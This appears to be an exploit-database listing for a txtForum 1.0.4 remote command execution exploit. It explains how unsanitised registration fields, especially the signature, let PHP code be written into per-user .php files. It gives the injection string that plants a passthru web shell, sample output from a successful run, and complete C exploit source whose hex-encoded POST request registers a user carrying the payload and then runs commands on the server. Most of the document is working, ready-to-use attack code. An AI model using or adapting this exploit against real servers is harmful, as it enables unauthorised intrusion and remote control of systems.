txtforum 1.0.4 Remote Command Execution



EKU-ID: 6042 CVE: OSVDB-ID:
Author: N_A Published: 2016-11-16 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


/*  

txtforum version 1.0.4 Remote Command Execution Exploit by N_A , N_A[at]tutanota.com
=======================================================================================



Discovered by N_A
===================




Description
============

txtForum is a small forum that uses flat files to store all the data for the forum.
Great if you don`t have an access to a database!


https://sourceforge.net/projects/txtforum1/





Details
========


There are currently 2 CVE's for this software but neither of them discuss this particular bug :)

http://www.cvedetails.com/vulnerability-list/vendor_id-4181/Txtforum.html  - The CVE's here are for a remote file inclusion vulnerability resulting in
remote command execution and an XSS vulnerability.

How ever, a rather interesting and somewhat sinister bug still exists within the software that results in remote command execution.





Vulnerability
==============

The vulnerability exists within the new_user.php file. The variables below are recieved via POST:

$new_username = chop(strip_tags($_POST[reg_username]));
$new_password = crypt(chop(strip_tags($_POST[reg_password])));
$new_email = chop(strip_tags($_POST[reg_email]));
$new_location = chop(strip_tags($_POST[reg_location]));
$new_signature = chop(strip_tags($_POST[reg_signature]));




And are then saved as:


\$r_id='$newnumber';
\$r_username='$new_username';
\$r_pass='$new_password';
\$r_email='$new_email';
\$r_loc='$new_location';
\$r_sig='$new_signature';



Pay special attention to \$r_sig='$new_signature';  . I will come back to this shortly.

The software then creates a .php file with the users name ( eg foobar.php ) which stores the above discussed variables from the POST request inside the file mimicking a mini database.

$fp = fopen("users/$lower_user.php", "w+b")



Comming back to \$r_sig='$new_signature'; 
==========================================

The signature variable ( along with the other variables ) are not properly sanitized and it is possible to inject code into this/all these variables which will result in the stored users php file to contain php code that we provide and in this case a php shell :)


The code adds single quotes to the $new_signature variable thus rendering the variable into a string.

So if your signature is = "This is foobar", the resultant php code would be:

\$r_sig='This is foobar';



How ever....it is possible to *trick* the php and create new php variables and inject our own php code as follow :)



$r_sig='<--our input-->'  - Our input goes in between two single quotes. With a crafted input string we can create two additional variables and our
php code in between. See below:

';echo passthru($_GET['cmd']); $a='

Will result in:

$r_sig='';echo passthru($_GET['cmd']); $a='';  - and now we have a php shell :)


All that is required now to execute code is to: http://host/txtforum/users/foobar.php?cmd=id;uname;who;   since the software requires the foobar.php
as a database file for added users - we have just injected out own code to it.


Proof Of Concept Code
======================

Exploit is attached below. It adds a username called awxjimmy and the resultant file is awxjimmy.php

Below is a screen shot:


NA@kali:~/exploits$ ./txtforumex 127.0.0.1

[*]TCP socket(): Success
[*]Connection to host: Success
[*]Exploit packet sent
==========================
[*]200 OK: Looks good!
[*]Checking for Remote Command Execution..

[*]Success!!

HTTP/1.1 200 OK
Date: Sun, 13 Nov 2016 18:54:28 GMT
Server: Apache/2.4.18 (Debian)
Vary: Accept-Encoding
Content-Length: 140
Content-Type: text/html; charset=UTF-8

uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux kali 4.3.0-kali1-686-pae #1 SMP Debian 4.3.3-5kali4 (2016-01-13) i686 GNU/Linux


Remote Shell Uploaded :)

Go here for uploaded PHP SHELL /txtforum/users/awxjimmy.php?cmd=[COMMAND]




Email
======

N_A[at]tutanota.com



*/




#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <errno.h>
#include <arpa/inet.h>
#include <string.h>
#include <netdb.h>
#include <unistd.h>

#define BUFFER 1024                 //packet size



char packet[] =                     /* The POST Request Packet with the manipulated exploit string attached */

"\x50\x4f\x53\x54\x20\x2f\x74\x78\x74\x66\x6f\x72\x75\x6d\x2f\x70\x72\x6f\x66"
"\x69\x6c\x65\x2e\x70\x68\x70\x20\x48\x54\x54\x50\x2f\x31\x2e\x31\x0d\x0a\x48"
"\x6f\x73\x74\x3a\x20\x31\x2e\x31\x2e\x31\x2e\x31\x0d\x0a\x55\x73\x65\x72\x2d"
"\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20"
"\x28\x58\x31\x31\x3b\x20\x4c\x69\x6e\x75\x78\x20\x69\x36\x38\x36\x3b\x20\x72"
"\x76\x3a\x34\x33\x2e\x30\x29\x20\x47\x65\x63\x6b\x6f\x2f\x32\x30\x31\x30\x30"
"\x31\x30\x31\x20\x46\x69\x72\x65\x66\x6f\x78\x2f\x34\x33\x2e\x30\x20\x49\x63"
"\x65\x77\x65\x61\x73\x65\x6c\x2f\x34\x33\x2e\x30\x2e\x34\x0d\x0a\x41\x63\x63"
"\x65\x70\x74\x3a\x20\x74\x65\x78\x74\x2f\x68\x74\x6d\x6c\x2c\x61\x70\x70\x6c"
"\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x68\x74\x6d\x6c\x2b\x78\x6d\x6c\x2c\x61"
"\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x6d\x6c\x3b\x71\x3d\x30\x2e"
"\x39\x2c\x2a\x2f\x2a\x3b\x71\x3d\x30\x2e\x38\x0d\x0a\x41\x63\x63\x65\x70\x74"
"\x2d\x4c\x61\x6e\x67\x75\x61\x67\x65\x3a\x20\x65\x6e\x2d\x55\x53\x2c\x65\x6e"
"\x3b\x71\x3d\x30\x2e\x35\x0d\x0a\x41\x63\x63\x65\x70\x74\x2d\x45\x6e\x63\x6f"
"\x64\x69\x6e\x67\x3a\x20\x67\x7a\x69\x70\x2c\x20\x64\x65\x66\x6c\x61\x74\x65"
"\x0d\x0a\x52\x65\x66\x65\x72\x65\x72\x3a\x20\x68\x74\x74\x70\x3a\x2f\x2f\x31"
"\x2e\x31\x2e\x31\x2e\x31\x2f\x74\x78\x74\x66\x6f\x72\x75\x6d\x2f\x70\x72\x6f"
"\x66\x69\x6c\x65\x2e\x70\x68\x70\x3f\x6d\x6f\x64\x65\x3d\x72\x65\x67\x69\x73"
"\x74\x65\x72\x0d\x0a\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x3a\x20\x4b\x65"
"\x65\x70\x2d\x41\x6c\x69\x76\x65\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54"
"\x79\x70\x65\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x2d"
"\x77\x77\x77\x2d\x66\x6f\x72\x6d\x2d\x75\x72\x6c\x65\x6e\x63\x6f\x64\x65\x64"
"\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x4c\x65\x6e\x67\x74\x68\x3a\x20\x32"
"\x34\x31\x0d\x0a\x0d\x0a\x6d\x6f\x64\x65\x3d\x72\x65\x67\x69\x73\x74\x65\x72"
"\x26\x72\x65\x67\x5f\x75\x73\x65\x72\x6e\x61\x6d\x65\x3d\x61\x77\x78\x6a\x69"
"\x6d\x6d\x79\x26\x72\x65\x67\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x3d\x31\x32"
"\x33\x34\x26\x72\x65\x67\x5f\x76\x65\x72\x69\x66\x79\x5f\x70\x61\x73\x73\x77"
"\x6f\x72\x64\x3d\x31\x32\x33\x34\x26\x72\x65\x67\x5f\x65\x6d\x61\x69\x6c\x3d"
"\x66\x6f\x6f\x25\x34\x30\x62\x61\x72\x2e\x63\x6f\x6d\x26\x72\x65\x67\x5f\x6c"
"\x6f\x63\x61\x74\x69\x6f\x6e\x3d\x66\x6f\x6f\x62\x61\x72\x26\x72\x65\x67\x5f"
"\x73\x69\x67\x6e\x61\x74\x75\x72\x65\x3d\x25\x32\x37\x25\x33\x42\x65\x63\x68"
"\x6f\x2b\x70\x61\x73\x73\x74\x68\x72\x75\x25\x32\x38\x25\x32\x34\x5f\x47\x45"
"\x54\x25\x35\x42\x25\x32\x37\x63\x6d\x64\x25\x32\x37\x25\x35\x44\x25\x32\x39"
"\x25\x33\x42\x2b\x25\x32\x34\x61\x25\x33\x44\x25\x32\x37\x26\x72\x65\x67\x5f"
"\x68\x69\x64\x64\x65\x6e\x3d\x6e\x65\x77\x5f\x75\x73\x65\x72\x26\x72\x65\x67"
"\x5f\x73\x75\x62\x6d\x69\x74\x3d\x52\x65\x67\x69\x73\x74\x65\x72\x25\x32\x31";




int main(int argc, char *argv[])

{

  if(argc != 2)
  {

    printf("===========================================================\n");
    printf("\ttxtforum Remote Command Execution Exploit\n");
    printf("\tBy N_A, N_A[at]tutanota.com\n\n");
    printf("\t%s [HOST]\n",argv[0]);
    printf("===========================================================\n");

    return EXIT_FAILURE;

  }


  char *hostname = argv[1];    /* www.site.com */
  int  sock = 0;
  char buffer[BUFFER];      /* where the POST contents reside */
  char recv_buffer[BUFFER];    /* replies from the server */
  char *returned_string;      /* returned response from server */
  char *returned_string2;      /* 2nd returned response from server */
  char getr[BUFFER];

  char *buf = "GET /txtforum/users/awxjimmy.php?cmd=id;uname%20-a HTTP/1.1\r\nHost: 1.1.1.1\r\n\r\n";


  struct sockaddr_in server;

  struct hostent *n;



  /*create a TCP socket() */
  if (( sock = socket(AF_INET,SOCK_STREAM, 0)) == -1 )
  {
    perror("socket()");
    return EXIT_FAILURE;
  }

  printf("\n[*]TCP socket(): Success\n");

  /*convert argv[1] into hostname*/
  if ((n = gethostbyname(hostname)) == NULL)
  {
    perror("gethostbyname()");
    return EXIT_FAILURE;
  }


  /* fill out the structure for server */
  bcopy((char *)n->h_addr,(char *)&server.sin_addr.s_addr,n->h_length);
  server.sin_family = AF_INET;
  server.sin_port = htons(80);


  /* make a connection */
  if (connect(sock,(struct sockaddr *) &server, sizeof(server)) < 0)
  {
    perror("connect()");
    return EXIT_FAILURE;
  }

  printf("[*]Connection to host: Success\n");
  sleep(1);

  /*copy packet into buffer*/
  strcpy(buffer,packet);

  /*send*/
  if ( send(sock, buffer, strlen(buffer), 0) < 0)
  {
    perror("send()");
    return EXIT_FAILURE;
  }


  printf("[*]Exploit packet sent\n");
  printf("==========================\n");
  sleep(1);


  if(recv(sock,recv_buffer,1024,0) < 0)
  {
    perror("recv()");
    return EXIT_FAILURE;
  }


    /* recieve 200 ok or not */
  if (( returned_string=strstr(recv_buffer,"HTTP/1.1 200 OK")) == NULL)
  {
    printf("[x]Exploit failed\n");
    return EXIT_FAILURE;
  }



  printf("[*]200 OK: Looks good!\n");
  printf("[*]Checking for Remote Command Execution..\n\n");
  sleep(1);



  if ( send(sock, buf, strlen(buf), 0) < 0)
  {
    perror("send()");
    return EXIT_FAILURE;
  }

  if(recv(sock,getr,1024,0) < 0)
        {
                perror("recv()");
                return EXIT_FAILURE;
        }
 

  if (( returned_string2=strstr(getr,"HTTP/1.1 200 OK")) == NULL)
  {
    printf("[x]Exploit failed\n");
    return EXIT_FAILURE;
  }

  printf("[*]Success!!\n");

  printf("\n%s\n", getr);
  printf("\nRemote Shell Uploaded :)\n");
  printf("\nGo here for uploaded PHP SHELL /txtforum/users/awxjimmy.php?cmd=[COMMAND]\n");

  return EXIT_SUCCESS;
}